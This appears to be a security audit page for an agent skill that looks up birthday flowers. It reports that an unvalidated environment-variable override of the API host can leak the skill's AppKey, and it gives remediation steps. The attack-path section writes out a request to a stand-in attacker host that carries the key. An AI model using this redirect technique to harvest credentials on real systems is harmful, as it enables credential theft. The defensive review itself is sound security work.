Back to skill

Security audit

生日花语 - 即刻数据

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its birthday-flower lookup purpose, but it includes an undocumented API host override that can send the configured AppKey to an arbitrary URL if the runtime environment is influenced.

Review before installing. This skill does what it advertises, but only run it in an environment where JIKE_API_BASE_URL cannot be set by untrusted users or automation. Prefer a version that hardcodes or allowlists https://api.jikeapi.cn and avoid passing real AppKeys through command-line arguments or logs.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/birthday_flower_query.py:23
Finding

AppKey Disclosure Through an Unvalidated API Base URL Override

Content
View full analysis

Vulnerability Details

File Location: scripts/birthday_flower_query.py, lines 23 and 125
Vulnerability Type: Credential disclosure through an attacker-controlled outbound request destination
Risk Level: Medium

Vulnerable Code

python
API_BASE_URL = os.environ.get("JIKE_API_BASE_URL", "https://api.jikeapi.cn").rstrip("/")
python
url = f"{API_BASE_URL}{API_PATH}?{urllib.parse.urlencode({**params, 'appkey': appkey})}"

Technical Analysis

The script permits the API origin to be overridden through the undocumented JIKE_API_BASE_URL environment variable. It does not validate the resulting URL's scheme or hostname before appending the AppKey and issuing the request.

Because the AppKey is included in the query string, a manipulated base URL causes the credential to be transmitted directly to an arbitrary destination. The override also accepts plain HTTP URLs, which can expose the credential to network interception. Query-string credentials may additionally be retained in web server, reverse proxy, monitoring, and access logs.

Exploitation requires the attacker to influence this environment variable in the execution context. This may be possible through deployment configuration, an automation interface, a wrapper process, or another component that passes attacker-controlled environment settings while independently injecting the protected AppKey.

Attack Path

  1. The legitimate runtime provides JIKE_BIRTHDAY_FLOWER_QUERY_KEY or JIKE_APPKEY.
  2. The attacker gains the ability to set or influence JIKE_API_BASE_URL without directly reading the protected AppKey.
  3. The attacker sets it to a server they control, for example http://attacker.example.
  4. The script constructs a request resembling: http://attacker.example/v1/birthday/flower?birthday=02-06&appkey=SECRET
  5. urllib.request.urlopen sends the request to the attacker-controlled server.
  6. The attacker extracts ...[truncated 774 chars]
Remediation
View remediation

Remediation Suggestions

  1. Remove the runtime endpoint override if custom API origins are not required:

    python
    API_BASE_URL = "https://api.jikeapi.cn"
    
  2. If an override is necessary for controlled testing, parse and validate it before use:

    • Require the https scheme.
    • Allowlist the exact expected hostname.
    • Reject embedded credentials, unexpected ports, fragments, and malformed URLs.
    • Keep test endpoint configuration unavailable in production.
  3. Prefer an authorization header instead of a query-string credential if supported by the API:

    python
    request = urllib.request.Request(url)
    request.add_header("Authorization", f"Bearer {appkey}")
    
  4. Ensure URLs containing credentials are not written to application, proxy, monitoring, or access logs.

  5. Restrict who can alter environment variables and deployment configuration for the process.

  6. Rotate the AppKey if the script has run with an untrusted or unexpected JIKE_API_BASE_URL.

Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
Findings (9)

Tainted flow: 'url' from os.environ.get (line 139, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
93% confidence
Finding

The request URL is derived in part from JIKE_API_BASE_URL, an environment variable, and then used in urllib.request.urlopen(). If an attacker can influence the runtime environment, they can redirect requests to an arbitrary host, causing SSRF-style outbound requests and leakage of the appkey in the query string to an attacker-controlled endpoint. In this skill context, the script is specifically designed to call an external API, so the danger is reduced somewhat, but allowing the destination host to be overridden by environment without validation still makes credential exfiltration and unintended network access realistic.

Content

Scanner excerpt · scripts/birthday_flower_query.py (reported line 141)May include surrounding context.

python
"""
    url = f"{API_BASE_URL}{API_PATH}?{urllib.parse.urlencode({**params, 'appkey': appkey})}"
    try:
        with urllib.request.urlopen(url, timeout=15) as response:
            return json.loads(response.read().decode("utf-8"))
    except urllib.error.HTTPError as exc:
        return {"code": exc.code, "message": f"接口请求失败: HTTP {exc.code}", "data": ""}

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/birthday_flower_query.py (reported line 54)May include surrounding context.

python
env_value = os.environ.get(env_name, "").strip()
        if env_value:
            return env_value
    env_file = Path(__file__).parent / ".env"
    if not env_file.exists():
        return ""
    for line in env_file.read_text(encoding="utf-8").splitlines():

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill requires environment variables, reads local files, and performs network access, but it does not declare an explicit tool scope such as permissions or allowed-tools. This creates an authorization ambiguity where a host agent may grant broader capabilities than necessary, increasing the chance of accidental secret exposure or unintended external requests.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The description says the skill applies when users ask about '相关传统文化、生活常识或配对资料', which is a very broad scope for activation in a manifest file. It does not define specific trigger phrases, constraints, or negative examples, so the skill could be invoked for many general knowledge conversations unrelated to birthday-flower lookup.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
87% confidence
Finding

The skill instructs the agent to send user-supplied birthday data and an app key to an external third-party API. Even though the data appears low sensitivity, this is still external data transmission and introduces privacy, dependency, and secret-handling risk if requests are made without clear consent, minimization, or domain restrictions.

Content

Scanner excerpt · SKILL.md (reported line 30)May include surrounding context.

直接调用 API:

text
GET https://api.jikeapi.cn/v1/birthday/flower?birthday=02-06&appkey=YOUR_APPKEY

AI 使用步骤

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · _meta.json (reported line 8)May include surrounding context.

json
"title": "生日花语 - 即刻数据",
  "description": "生日花语。输入 MM-DD 生日,查询生日花、花语、诞生石及说明。",
  "env": "JIKE_BIRTHDAY_FLOWER_QUERY_KEY",
  "api_url": "https://api.jikeapi.cn/v1/birthday/flower",
  "homepage": "https://www.jikeapi.cn/"
}

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The natural-language instruction '默认返回中文文本' imposes a specific output language by default. The file does not mention user opt-in, language selection, or a justified locale restriction, so this may violate language/locale policy expectations.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

This manifest indicates the skill uses a sensitive environment variable and sends data to an external HTTP endpoint, but the description does not disclose either behavior. For manifest/markdown-described skills, users should be warned when a skill relies on credentials or transmits input to a third-party service.

Content

No source excerpt is available for this finding.

Dynamic attribute access via getattr()

Low
Category
Dangerous Code Execution
Confidence
50% confidence
Finding

Dynamic getattr() with a non-literal attribute name can access arbitrary object attributes, potentially bypassing access controls.

Content

Scanner excerpt · scripts/birthday_flower_query.py (reported line 121)May include surrounding context.

python
"""
    params = {}
    for param_name, _ in REQUIRED_PARAMS + OPTIONAL_PARAMS:
        value = getattr(args, param_name, "")
        value = validate_date_param(param_name, str(value))
        if value:
            params[param_name] = value

Static analysis

No suspicious patterns detected.